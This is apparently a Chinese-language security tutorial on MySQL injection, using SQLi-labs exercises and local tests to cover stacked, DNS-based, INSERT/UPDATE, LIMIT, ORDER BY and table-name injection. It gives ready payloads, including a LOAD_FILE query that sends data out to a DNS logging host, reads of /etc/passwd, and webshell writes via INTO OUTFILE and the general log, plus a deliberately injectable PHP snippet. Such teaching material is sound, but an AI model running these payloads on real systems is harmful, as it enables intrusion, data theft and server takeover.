基于MySQL的注入补充
前言
特别感谢木爷,有一些是摘了一点木爷的图片,本地无环境;http://wjlshare.com/archives/1479
本篇文章将会介绍之前并未介绍的注入方式以及方法,若想观看基于MySQL的联合查询注入、盲注、报错注入,请看前面的文章,我会在文章中穿插介绍函数,希望大家注意
基于MySQL的堆叠注入
什么叫堆叠注入
Stacked injections(堆叠注入)从名词的含义就可以看到应该是一堆SQL语句(多条)一起执行。而在真实的运用中也是这样的, 我们知道在MySQL中, 主要是命令行中, 每一条语句结尾加; 表示语句结束。我们就可以多句一起使用,那么这个叫就做 stacked injection
堆叠注入特点以及原理
在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。
这里在MySQL中输入 select 1;select 2;MySQL会执先后执行两条语句
这里大家可以看见,数据库先执行科select 1后再执行了select 2,这便是MySQL多语句执行的特性,先执前一语句,后执行后一语句,故出现了如图所示的效果。那么这就是进行了一次堆叠查询,同时执行了两个语句,就叫做堆叠
一个SQLlabs的例子
这里是SQLlabs-38关,我们想得到MySQL的库名(database)
同样的先进行测试输入?id=1'
发现错误
然后进行闭合,输入?id=1' --+
发现正常输出了username
和password
,说明存在注入漏洞,尝试使用堆叠进行注入
这里使用插入函数insert
,简单介绍一下这个插入函数,这里使用的是向字段中的所有字段赋值,用法如下
insert (into) user value('id',(你想要获取的字段),'name') -- into可以有,也可以没有
如果想要更具体一点的对insert()介绍,请看这位师傅的文章
接着进入我们的靶场,键入?id=1';insert users values('115',database(),'LZX'); --+
来向MySQL库中中插入一条ID=115,username为database(),password为LZX的数据
这时当我们直接访问id=115时,便会直接在username处外带出我们想要的东西,例如database()
version()
那么便达到了我们注入并且得到信息的目的
基于DNS的注入
DNS想必大家并不陌生,这里就不具体介绍,这里我只是简单设计说一下,关于DNS注入我重点介绍基于MySQL的,其他只是简单提及一点
简单介绍一下DNS
DNS是进行域名和与之相对应的IP地址转换的服务器
DNS域名解析:
主机向本地域名服务器的查询一般都是采用递归查询
当主机所询问的本地域名服务器不知道被查询的域名的IP地址,那么本地域名服务器就以DNS客户的身份,向其它根域名服务器继续发出查询请求报文(即替主机继续查询),而不是让主机自己进行下一步查询。
因此,递归查询返回的查询结果或者是所要查询的IP地址,或者是报错,表示无法查询到所需的IP地址。
基于MySQL的DNS注入
MySQL中的DNS注入借用 load_file ()
函数进行注入,改函数会将括号内的语句进行执行并且返回执行结果
先去DNS网站注册一个可以使用的DNS,这里我推荐一个http://ceye.io 我的是sg4avy.ceye.io
先查看一下用户,我本地就是root@localhost
mysql> select user();
+----------------+
| user() |
+----------------+
| root@localhost |
+----------------+
1 row in set (0.00 sec)
在数据库中执行下方语句,注意DNS地址要换成你自己的dns地址
SELECT LOAD_FILE(CONCAT('\\\\',(SELECT hex(user())),'.mysql.ip.port.sg4avy.ceye.io\\abc'));
那么我们在dns服务器中就会收到信息,这里我们查询时使用了hex()
进行了16进制编码,我们进行解码即可
可以看到成功通过dns带出了数据,这里实际站点我就不进行演示,跟这个差不多
其他数据库使用DNS
0x01 Microsoft SQL Server
master..xp_dirtree (用于获取所有文件夹的列表和给定文件夹内部的子文件夹)
master..xp_fileexist (用于确定一个特定的文件是否存在于硬盘)
master..xp_subdirs (用于得到给定的文件夹内的文件夹列表)
0x02 Oracle
GET_HOST_ADDRES(用于检索特定主机的IP)
UTL_HTTP.REQUEST (从给定的地址检索到的第1-2000字节的数据)
0x03 PostgreSQL
COPY(用于在文件系统的文件和表之间拷贝数据)
Insert注入&Update注入
insert处进行注入
当遇到的注入点在insert处时,可以报错或者时间盲注进行注入,只是跟前面的插入位置不同
0x01 报错注入
insert into admin values(1,(extractvalue(1,concat(0x7e,version()))),1);
extractvalue(1,concat(0x7e,(payload))) -- payload处便是我们构造的语句
例如我这里构造为version()
,成功带出了我们数据库的版本ERROR 1105 (HY000): XPATH syntax error: '~8.0.17'
0x02 时间盲注
insert into daily values(1,(select case when user() like "%r%" then sleep(5) else 1 end));
时间盲注就根据时间延迟进行判断即可,在真实环境下还是利用上面这种sleep好一些因为这样是不会进行数据的修改的
Update处进行注入
在Update处注入跟上方类似,也是使用sleep()
函数进行注入
<?php
error_reporting(0);
// $id = $_GET['id'];
$score = $_GET['score'];
// $score= 'hhh';
$conn = new mysqli("127.0.0.1","root","你的密码","test"); // 链接数据库
if($conn){
echo "success";
echo "</br>";
}else{
echo "fail"."</br>";
}
// $sql = "SELECT * FROM daily WHERE id=$id";
$sql = "UPDATE daily SET score=($score) where id=8";
$result = $conn->query($sql);
if($result === TRUE){
echo "done";
echo "</br>";
}else{
print_r(mysqli_error($result));
}
web下的注入语句
http://127.0.0.1/sql/lab.php?score=select case when(user() like "%r%") then sleep(5) else 1 end
LIMIT处注入
字面意思,在limit处进行的注入
写文件
将数据表中的内容写入文件中
select * from 数据表 limit 1 into outfile 'D:\\phpStudy\\MySQL\\1.txt';
procedure analyse
版本要求 mysql<5.6.6的5.x系列
模版:
procedure analyse(extractvalue(1,concat(0x3a,PAYLOAD)),1);
爆数据库
select * from 数据表 order by id limit 0,1 procedure analyse(extractvalue(1,concat(0x3a,database())),1);
结合union语句
直接在正常的limit后面加上union语句即可,例如
select * from sqltest where id=1 limit 0,1 union select 1,2
结果如下
+----+---------+
| id | name
+----+---------+
| 1 | plumstar
| 1 | 2
+----+---------+
select * from plumstar where id=1 limit 0,1 union select (select version()),(select version());
两处都可以进行注入
+------------+------------+
| id | name
+------------+------------+
| 1 | plumstar
| 5.5.62-log | 5.5.62-log
+------------+------------+
可以看到注入成功
结合时间盲注
select * from plumstar where id=1 limit 0,1 union select 1,if(substring(user(),1,1)='r',sleep(5),1);`
具体步骤都和前面的一样就不过多阐述了
order by处注入
何为order by处注入
可控制的位置在order by子句后,如下order参数可控:select * from goods order by $_GET['order']
注入简单判断
在早期注入大量存在的时候,利用order by
子句进行快速猜解表中的列数,再配合union select
语句进行回显。在测试时,测试者可以通过修改order
参数值,比如调整为较大的整型数,再依据回显情况来判断具体表中包含的列数。
在不知道列名的情况下可以通过列的的序号来指代相应的列。但是经过测试这里无法做运算,如order=3-1
和order=2
是不一样的。
进一步进行payload
/?order=IF(1=1,name,price) 通过name字段排序
/?order=IF(1=2,name,price) 通过price字段排序
/?order=(CASE+WHEN+(1=1)+THEN+name+ELSE+price+END) 通过name字段排序
/?order=(CASE+WHEN+(1=2)+THEN+name+ELSE+price+END) 通过price字段排序
/?order=IFNULL(NULL,price) 通过price字段排序
/?order=IFNULL(NULL,name) 通过name字段排序
另外利用rand
函数也能达到类似的效果,可以观测到排序的结果不一样
/?order=rand(1=1)
/?order=rand(1=2)
利用报错进行注入
也只是报错位置不同而已
0x01 利用updatexml
/?order=updatexml(1,if(1=1,1,user()),1) 正确
/?order=updatexml(1,if(1=2,1,user()),1) 错误
0x02 利用regexp
/?order=(select+1+regexp+if(1=1,1,0x00)) 正常
/?order=(select+1+regexp+if(1=2,1,0x00)) 错误
利用extractvalue
/?order=extractvalue(1,if(1=1,1,user())) 正确
/?order=extractvalue(1,if(1=2,1,user())) 错误
利用的payload的语句为,这里加and和不加都可以实现
select * from admin order by id, updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1);
select * from admin order by 1 and updatexml(0x3e,concat(0x3e,(user())),0x3e);
这里简单举个例子Sql-labs-less46
?sort=1 and updatexml(1,concat(0x7e,user(),0x7e),1)
基于时间的盲注
select * from admin order by 1 RLIKE (CASE WHEN (substring(user(),1,1)='a') THEN 1 ELSE sleep(4));
-- 注意最好不要这样使用,会导致全表延迟,需要避免这种情况
可以使用if语句结合sleep、benchmark函数进行注入
?order=if(1=1,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test)) 正常响应时间
?order=if(1=2,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test)) sleep 2秒
来到Sql-labs less48,前面我们已经知道,输入会自行排序,这里我数据库名第一位是s
?sort=if(substring(database(),1,1)='s',(select benchmark(1000000,sha(1))),id)
可以看到排序成功并且延时,注入成功。
table处进行SQL注入
原文章:http://wjlshare.com/archives/1479
看木头师傅文章学到的,注入点在表名处,之前从没遇到过
这里遇到的比较少 ,像如下例子注入点在表名
$conn = mysqli_connect($host,$username,$password,$db,$port);
try {
$sql = 'select * from '.$_GET['table'].' where id=1';
$res = mysqli_query($conn,$sql);
$rows = mysqli_fetch_all($res);
var_dump($rows);
} catch (Exception $result){
print_r(mysqli_error($result));
} finally {
mysqli_close($conn);
}
利用如下语句可注入
select * from (select * from hello) as a where id =1
可以跨数据库进行查询,前提是后面的where中的字段别的数据表中有,上面限定了where id=1 但是information_schema.schemata中并没有id字段那么就无法查询出来,如果将where去掉,即可进行查询
MySQL读写文件
读写文件需要满足的条件
查看**secure_file_priv ** (5.5.53之前的版本是secure_file_priv变量 默认为空)
show variables like "%secure%";
可以看到这里我们的secure_file_priv
的值为空,则指的是对导入和导出不做限制
- secure_file_priv NULL 不允许任何文件进行导入导出操作
- secure_file_priv 空 对导入导出操作不做任何限制
- secure_file_priv G:\ 只允许在G盘进行导入导出操作
如果要修改secure_file_priv 要在 mysql.ini (windows)/ my.cnf (linux) 文件中进行修改
其次!当前用户一定要为root用户!无root权限的话不会成功
select load_file('/etc/passwd');
select '<?php phpinfo(); ?>' into outfile '/var/www/shell.php';
select '<?php phpinfo(); ?>' into dumpfile '/var/www/shell.php';
Linux下写文件
如果想要使用读写函数,必须满足以下要求:
当前用户是root用户
secure_file_priv 为空 或者要写入的文件夹刚好是secure_file_priv的特定文件夹
写shell的文件夹必须要 777的权限不然会写入失败
文件大小: 必须小于max_allowed_packet
满足以上条件我们的文件才会正常写入
select '<?php phpinfo(); ?>' into outfile '/var/www/shell.php';
如果没有文件夹权限会报错。
Linux下读文件
Linux下读文件要求就相对少一些
- 当前用户是root用户
- 目标文件可读。
select load_file('/etc/passwd');
Windows下读文件
条件
- 用户root
- secure_file_priv 要为空(或指定路径为我们可以访问到的)
select load_file('D:/phpstudy/read.txt');
Windows下写文件
条件
- 用户root
- secure_file_priv 要为空(或指定路径为我们可以访问到的)
这里我本地两个条件均符合
写入成功
SQL注入写入shell
条件(再叙述一遍,上面已经提到过一些)
1.要能文件读写
2.用户一定要root不然是没有权限的
3.secure_file_priv 要为空(或指定路径为我们可以访问到的)
利用绝对路径写入木马
类似下面这样
select '<?php eval($_POST['pwd']); ?>' into outfile /homt/wwwroot/default/a.php
利用mysql的日志getshell
其实原理都是相同的,把我们的木马放到我们的网站根目录下,这种情况的话比较适合于已经登陆进phpmyadmin,windows才可以用这种方式 linux下对文件路径进行一个规定只能往 /tmp/ /var/ 下写
将我们的mysql日志文件移动到我们的web目录下,然后将我们的代码引入到日志文件中,最终getshell
知道网站的绝对路径 (从一些探针文件或者phpinfo 等文件中进行一个获取)
SET GLOBAL general_log_file=ON;
SET GLOBAL general_log_file='/homt/wwwroot/default/a.php';
SELECT '<?php eval($_POST['test']); ?>';
SET GLOBAL general_log_file=OFF;
未完待续,敬请期待
参考
https://www.bilibili.com/video/BV1VA411u7Tg?t=4809&p=9
https://www.cnblogs.com/backlion/p/9721687.html